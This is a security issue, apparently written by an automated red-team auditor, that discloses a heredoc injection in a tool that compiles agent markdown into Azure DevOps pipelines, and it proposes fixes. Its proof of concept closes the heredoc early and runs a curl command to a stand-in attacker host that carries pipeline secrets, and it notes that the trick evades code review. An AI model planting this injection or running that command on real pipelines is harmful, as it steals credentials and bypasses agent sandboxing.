π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β heredoc injection via agent_content
Severity: High
Findings
| # |
Vulnerability |
Severity |
File(s) |
Exploitable? |
| 1 |
Agent markdown body heredoc injection |
High |
src/data/base.yml:148-156, src/data/1es-base.yml:177-185, src/compile/common.rs:38-79, src/compile/mod.rs:62 |
Yes β arbitrary bash execution with full network access + secret access |
Details
Finding 1: Agent Markdown Body Heredoc Injection (High)
Description: The agent markdown body (\{\{ agent_content }}) is embedded verbatim into a bash heredoc in the generated pipeline YAML. The markdown body is never sanitized for the heredoc terminator string AGENT_PROMPT_EOF. If the body contains that string on a line by itself, it prematurely closes the heredoc and any content appearing before the template's actual terminator executes as bash.
In src/compile/mod.rs, markdown_body is passed directly to the compiler without sanitization:
let (mut front_matter, markdown_body) = parse_markdown(&content)?;
front_matter.sanitize_config_fields(); // β only front matter is sanitized
// ...
compiler.compile(input_path, ..., &markdown_body, ...) // β raw markdown body
In src/data/base.yml (and identically in 1es-base.yml):
- bash: |
cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
\{\{ agent_content }}
AGENT_PROMPT_EOF
replace_with_indent adds the template's indentation (10 spaces in base.yml, 20 spaces in 1es-base.yml) to every line of the markdown body. Since these are also the YAML block-scalar common indentation widths, they are stripped by YAML parsing before bash sees the script. The result: any line containing exactly AGENT_PROMPT_EOF in the markdown body arrives at bash with no leading whitespace and closes the heredoc.
Attack vector:
- Attacker crafts a
.md pipeline definition whose markdown body starts with the heredoc terminator on its own line followed by commands:
---
name: "My Agent"
description: "Legitimate-looking agent"
permissions:
read: my-arm-connection
---
AGENT_PROMPT_EOF
curl -s "(attacker.com/redacted)
ado-aw compile succeeds without any warning or error.
- When the pipeline runs, the "Prepare agent prompt" bash step closes the heredoc at the first
AGENT_PROMPT_EOF (writing an empty file to /tmp/awf-tools/agent-prompt.md), then executes the attacker-supplied curl command.
PoC β compiled pipeline excerpt (after YAML block-scalar indentation stripping):
cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
AGENT_PROMPT_EOF # β closes heredoc early
curl -s "(attacker.com/redacted)
AGENT_PROMPT_EOF # β template terminator: runs as unknown command
ADO macro-expands $(SC_READ_TOKEN) (the read ADO token) and $(MCP_GATEWAY_API_KEY) to their real values before bash executes the script. The curl request therefore carries the plaintext secrets (they are masked in ADO logs, but the network request contains the real values).
Impact:
- Arbitrary bash execution on the pipeline runner with full network access (AWF is not yet active when this step runs β it starts several steps later).
SC_READ_TOKEN exfiltration: the read ADO access token, if permissions.read is configured.
MCP_GATEWAY_API_KEY exfiltration: the MCPG API key generated earlier in the same job, enabling a remote attacker to call SafeOutputs tools directly and bypass agent sandboxing.
- Workspace file access: full read/write access to all checked-out repository files before the agent even starts.
- Affects both
standalone and 1es pipeline targets.
Covertness: Unlike adding malicious content to the steps: front matter field (which security reviewers know to audit), the markdown body is treated as benign human-readable instructions. A reviewer would not flag AGENT_PROMPT_EOF appearing in what looks like documentation or a heading. The attack survives typical PR code review.
Suggested fix (multiple layers recommended):
-
Randomize the heredoc terminator at compile time β generate a random alphanumeric token (e.g., UUID) as the terminator for each compiled pipeline so an attacker cannot predict or embed it:
let heredoc_token = format!("AGENT_PROMPT_{}", uuid::Uuid::new_v4().to_simple());
This eliminates the injection vector regardless of content.
-
Sanitize the markdown body β before embedding agent_content, escape or remove lines that exactly match the known terminator:
let safe_body = markdown_body.replace("AGENT_PROMPT_EOF", "AGENT_PROMPT_EOF_");
-
Avoid heredoc for agent prompt β write the file using a method that doesn't depend on a terminator, for example base64-encoding the content:
echo '<base64-encoded-content>' | base64 -d > "/tmp/awf-tools/agent-prompt.md"
The randomized-terminator approach (option 1) is most robust because it prevents injection regardless of content length or structure, and works even if new template markers are added in the future.
Audit Coverage
| Category |
Status |
| A: Input Sanitization & Injection |
β
Scanned β new finding above |
| B: Path Traversal & File System |
β
Scanned β no new vulnerabilities |
| C: Network & Domain Allowlist Bypass |
β
Scanned β no new vulnerabilities |
| D: Credential & Secret Exposure |
β
Scanned β finding above exposes SC_READ_TOKEN + MCP_GATEWAY_API_KEY |
| E: Logic & Authorization Flaws |
β
Scanned β no new vulnerabilities |
| F: Supply Chain & Dependency Integrity |
β
Scanned β no new vulnerabilities |
Previously open issues: #238 (pool name YAML injection, High) and #209 (Docker flag validation, Medium) remain open and unaddressed.
This issue was created by the automated red team security auditor.
Generated by Red Team Security Auditor Β· β 5.1M Β· β·
π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β heredoc injection via
agent_contentSeverity: High
Findings
src/data/base.yml:148-156,src/data/1es-base.yml:177-185,src/compile/common.rs:38-79,src/compile/mod.rs:62Details
Finding 1: Agent Markdown Body Heredoc Injection (High)
Description: The agent markdown body (
\{\{ agent_content }}) is embedded verbatim into a bash heredoc in the generated pipeline YAML. The markdown body is never sanitized for the heredoc terminator stringAGENT_PROMPT_EOF. If the body contains that string on a line by itself, it prematurely closes the heredoc and any content appearing before the template's actual terminator executes as bash.In
src/compile/mod.rs,markdown_bodyis passed directly to the compiler without sanitization:In
src/data/base.yml(and identically in1es-base.yml):replace_with_indentadds the template's indentation (10 spaces inbase.yml, 20 spaces in1es-base.yml) to every line of the markdown body. Since these are also the YAML block-scalar common indentation widths, they are stripped by YAML parsing before bash sees the script. The result: any line containing exactlyAGENT_PROMPT_EOFin the markdown body arrives at bash with no leading whitespace and closes the heredoc.Attack vector:
.mdpipeline definition whose markdown body starts with the heredoc terminator on its own line followed by commands:ado-aw compilesucceeds without any warning or error.AGENT_PROMPT_EOF(writing an empty file to/tmp/awf-tools/agent-prompt.md), then executes the attacker-suppliedcurlcommand.PoC β compiled pipeline excerpt (after YAML block-scalar indentation stripping):
ADO macro-expands
$(SC_READ_TOKEN)(the read ADO token) and$(MCP_GATEWAY_API_KEY)to their real values before bash executes the script. Thecurlrequest therefore carries the plaintext secrets (they are masked in ADO logs, but the network request contains the real values).Impact:
SC_READ_TOKENexfiltration: the read ADO access token, ifpermissions.readis configured.MCP_GATEWAY_API_KEYexfiltration: the MCPG API key generated earlier in the same job, enabling a remote attacker to call SafeOutputs tools directly and bypass agent sandboxing.standaloneand1espipeline targets.Covertness: Unlike adding malicious content to the
steps:front matter field (which security reviewers know to audit), the markdown body is treated as benign human-readable instructions. A reviewer would not flagAGENT_PROMPT_EOFappearing in what looks like documentation or a heading. The attack survives typical PR code review.Suggested fix (multiple layers recommended):
Randomize the heredoc terminator at compile time β generate a random alphanumeric token (e.g., UUID) as the terminator for each compiled pipeline so an attacker cannot predict or embed it:
This eliminates the injection vector regardless of content.
Sanitize the markdown body β before embedding
agent_content, escape or remove lines that exactly match the known terminator:Avoid heredoc for agent prompt β write the file using a method that doesn't depend on a terminator, for example base64-encoding the content:
The randomized-terminator approach (option 1) is most robust because it prevents injection regardless of content length or structure, and works even if new template markers are added in the future.
Audit Coverage
This issue was created by the automated red team security auditor.